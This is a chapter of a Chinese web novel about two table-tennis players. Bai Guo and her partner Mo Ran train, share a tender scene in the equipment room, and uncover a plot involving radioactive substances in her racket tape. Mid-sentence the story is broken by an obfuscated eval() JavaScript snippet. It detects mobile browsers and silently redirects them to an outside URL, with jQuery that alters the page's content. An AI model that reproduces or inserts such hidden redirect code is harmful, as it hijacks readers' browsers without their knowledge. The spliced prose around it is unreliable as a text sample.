5. 第五章

作品:《在阳光炙热时[乒乓]

    三月末的阳光总是让人无线慵懒,就连最爱训练的白果也眯着眼睛坐在一旁的椅子上打盹,她的指尖有一下没一下的轻点球拍护边,新添的银色丝线在光线下若隐若现,隐约可见是个未成形的眼睛。


    金色的阳光在她的脸上轻抚,扑闪的睫毛像是振动的羽翼,可见主人的愉悦。


    “黑星赛混双名单——白果、墨燃。”


    王楚的声音在空旷的球馆内回荡,惊起窗台上的麻雀。


    桑榆手中的球拍“当啷”落地,护边胶上的一队标志在地面投下细碎的阴影。


    墨燃的睫毛轻轻颤动,战术板上的字迹突然模糊,他本能的看向白果,只见她依然半眯着眼,球拍在手中轻轻转动,护边胶划出的银弧正对着自己,拍柄上的紫色蝴蝶展翅欲飞,引得自己心口的蝴蝶也微微发烫。


    王楚教练把战术板“啪”地拍在球台上,震得矿泉水瓶都抖了几下。


    墨燃和白果这时候已经站在了一处,只是白果还显然在蒙蒙的状态,不慎清醒。


    王楚不由得大声道“从今天起,你们互为陪练。”


    白果掏了掏了耳朵,被这大嗓门彻底惊醒。“嗯,知道了。”


    墨燃也道“好的,教练,我会和姐姐好好练习的。”


    白果转头看向墨燃,高束的马尾在空气中划出弧线,堪堪擦过墨燃的嘴角,留下蝴蝶兰的香气。


    白果眨了眨眼睛“不好意思。”


    墨燃摇摇头,左手小指上翘三度,遮住心底的怅然若失,道“我们去一号球台吗?”


    如愿再次看到翘起的尾指,白果心情颇好,点了点头道了声好。


    白果边转球拍边向球台旁走去,墨燃这才发现白果的护边胶边缘新添了的阴线竟然还未成型,不知道究竟是什么。


    两人在球台前站定,收齐所有心思,紧紧盯着小白球。


    第一球由墨燃发出,落点精准地擦过球台右角。


    白果的正手弧圈球骤然炸开,球拍与球碰撞的脆响里,墨燃闻到了一丝若有若无的铁锈味,眉头轻皱,但刚才白果身上并未见任何伤口,所以是球拍?


    墨燃心下稍安,继续挥动球拍。


    球拍在掌心发烫,他忽然想起晨起去器材室里,垃圾桶里静静地躺着一瓶标签剥落的护边保养油,还有几张染血的碎纸,难道是换胶条时刮到的吗?


    “你的正手角度偏高4度。”白果的声音混着球拍的脆响传来。


    她的手腕骤然翻转,球拍几乎出现残影,紧接着这一球带着诡异的下旋擦网而过,那是蝴蝶欲飞时的模样。


    墨燃的球拍在将要碰到球的前一刻被气流带偏,破空的声音传来,白果的手腕还在微微转动,与蝴蝶振翅的频率共振。


    白果拿了一个新球发给墨燃,沉声道“再来”


    “好”


    墨燃迅速发了一个球,球堪堪擦着白果球拍的护边胶飞过,带起0.2秒的破空声。


    “来”


    这时,墨燃好像进入一个奇怪的空域,视线里只剩下小白球的轨迹、白果手腕的残影、球拍的震颤频率,以及自己球拍张力变化,那一刻,自己仿佛在和小蝴蝶的频率共振,这让墨燃全身的血液都开始沸腾,他精准无比的配合着每一次震颤。


    旁观的人一杯这一幕震撼,陆行小声和顾辰说到“难道这就是传说中的共振?但他俩现在是在对决,共振个什么玩意儿?”


    顾辰默默捏了捏耳朵,道“闭嘴,别说话。”


    “哦”


    “注意看我的手腕的绷直的次数。”白果的声音仿佛来自天边。


    只见她的球拍在胸前划出八字,手腕突然松弛又绷紧,


    墨燃的瞳孔收缩,他终于看懂了“每次发力前,球拍都会震动三次,这对应三种旋转变化。”2圈护边胶的每一道褶皱,也都是她的战术密码,甚至是那几道银线,也是她的密码。


    第一次震动是侧切,第二次是正手爆冲,第三次则是那招不败神话的“蝴蝶削球”。


    桑榆在看台上握紧矿泉水瓶,手腕处的青蛇纹身似乎吐着蛇信子要将人坠入深渊。


    “我的天,果果竟然把绝技都手把手教了?当出她可是誓死不教我,非说我是左手,用不来。墨燃的左手和我的左右难道不一样?”


    顾辰看了一眼陆行,点点头,煞有其事道“嗯,不一样”


    陆行眨巴着眼一脸求知欲“为什么?”


    顾辰上下打量陆行,良久才道“因为你老了”


    陆行指着自己的鼻子,你说什么,“我我我,我”显然气的不轻,语都不成句了,“你竟然说我老!”


    吵闹声远去,墨燃和白果对视一眼“谢谢姐姐教我。”


    白果接过墨燃递过来的水,挑挑眉“客气”


    尹正教练的叹息从旁边传来:“秦毅苏又在打满五局,他的护边胶都快磨穿了,你看那胶条边缘的毛茬,比裘指导的心思还乱。”


    白果平复了一会呼吸,道“继续?”


    墨燃自然是求之不得“好”


    一晃三个小时已经远去,白果的护边胶出现三道新裂痕。


    发圈将头皮嘞的生疼,白果坐在一旁,把头发披散下来,墨燃摩挲了几下之间,最终落在护边胶的毛茬上:“我帮你换胶条。”


    “好啊,去器材室”


    “嗯”


    器材室的灯光下


    墨燃用尺子量出了37厘米的胶条,精准剪下。


    “为什么是37厘米?”白果见他换胶条还用到尺子,不由得有些好奇,毕竟她都是随意一缠,不够了在剪一块补上。


    墨燃指尖轻抚球拍,声音暗哑“因为姐姐从17岁首冠到现在,大大小小获得了37枚冠军奖牌,每一厘米都是姐姐的荣耀。”


    白果没说话,坐在一旁就这么看着他,本就凌厉的眉眼在暖色的灯光下倒是柔和了几分,他垂着眸认真的缠着胶条,像是在做一件精美的瓷器。


    一种陌生的情绪在白果的心底涌动,忽的,墨燃抬眸“好了。”


    “乖乖”


    两人的声音再次重合,白果惊觉,竟是将心中所想叫出了口。


    本就微热的心口此时更像是浸泡的岩浆中,温暖但致命。


    “姐姐刚刚说什么?”墨燃的嗓音更哑了,仔细听似乎还带着微微的哽咽。


    白果凑近,垂落的发丝顺着墨燃的脸颊滑落至他的肩膀上,只见轻抚他泛红的眼尾,叹息一声,凑上前去,轻轻吻了吻那抹艳红,又在那微微颤动的泪痣上轻啄了一下“怎么还是这般爱哭?”


    墨燃的眼泪确实再也抑制不住,无声滑落,双手紧紧抓住


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381054|168481||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    白果的衣角,哽咽道“小蝴蝶,你都想起来了是吗?”


    白果摇了摇头,却在那抹失落到达眼底之前,将身前的宝贝拥入怀中,“乖乖,别怕,我的基因会选择你”


    “嗯,我知道,我知道”墨燃紧紧抱住怀里的身躯,像是要融入骨血,一遍遍的重复着我知道,也不知道是要说给谁听。


    “乖乖,我累了,先睡会。”


    说着变没了动作,墨燃又紧了紧了手臂,享受这短暂的温存,擦了擦眼角的泪水,将怀中的人轻轻放在旁边的长椅上,在额头印下一吻,语气温柔缱绻“小蝴蝶,睡吧,我在这里。”


    大概十分钟后,白果的睫毛轻轻颤动,墨燃忙移开视线,装作依然再贴胶条的样子。


    白果茫然了一瞬,总觉得自己忘记了什么,但这种事情也不是第一次出现,白果早已见怪不怪,索性也不深思了。


    “姐姐,好了”墨燃适时的将球拍递给白果


    白果轻笑着接过,确实比我缠的好看。


    墨燃这时候已经收拾好心情,扬起笑脸“那以后我都给姐姐缠?”


    “好啊!”


    白果看着灯光下那微微晃动的微卷发丝,心想不知道手感怎么样。


    白果轻咳了一声道“不早了,回宿舍吧。”


    “姐姐不吃饭吗?”


    墨燃这么一说,白果才惊觉五脏庙在抗议,摸了摸肚子道“想吃什么?”说吧又道“这个点食堂有什么吃什么吧,吃饱就可以。”


    最近在比赛期,他们自然不能出去乱吃,只能每天食堂解决,墨燃自然无不可“好”


    到了食堂,墨燃和白果并未在大厅,而是进了包厢。


    一进去,白果就道“发现什么了?”


    墨燃惊讶“你知道?”


    白果将发丝在手指缠绕几圈,漫不经心开口“我的护胶边有蝴蝶兰花粉是吗?”


    墨燃点点头,声音突然低沉,指尖划过左手手腕,“陈立医生说,蝴蝶兰花粉中含有元素会抑制一种放射性元素。”


    白果的身体微微僵硬,随后点头道“2033年银河赛后,我的护边胶检测出了放射性物质,后来我外公便承包了我的护边胶”


    说着白果又摸了摸自己的左手手腕,“只是好像这蝴蝶兰并没什么效果”不然这手上怎么永远不见好,反而最近的基因检测报告显示放射性元素超标。


    只是这未尽的话语并没有告诉墨燃。


    “那姐姐为什么继续用?”


    “总归没什么副作用”白果似是很疲惫,再次闭上了眼,不想再去谈论其他。


    墨燃默默闭上了嘴,总归自己在,那些把戏便不会再让他们得逞。


    墨燃心中冷哼“用蝴蝶兰,真是好计策”


    S市的一个病房中,白果的母亲毫无生气的躺在病床上,只有微微起伏的心跳尚证明她依然未远去。


    床边一个老妇人颤抖着手,她是我们的女儿和外孙,你真的要这样吗?


    “都到这一步了,莫要妇人之仁”


    “可,可是......”


    “哼,男人大步离开。


    床边的老妇人擦了一把眼泪,嘴角微微上扬,


    “你还能神气几天呢?”


    “你,你们,哈哈哈哈”


    ......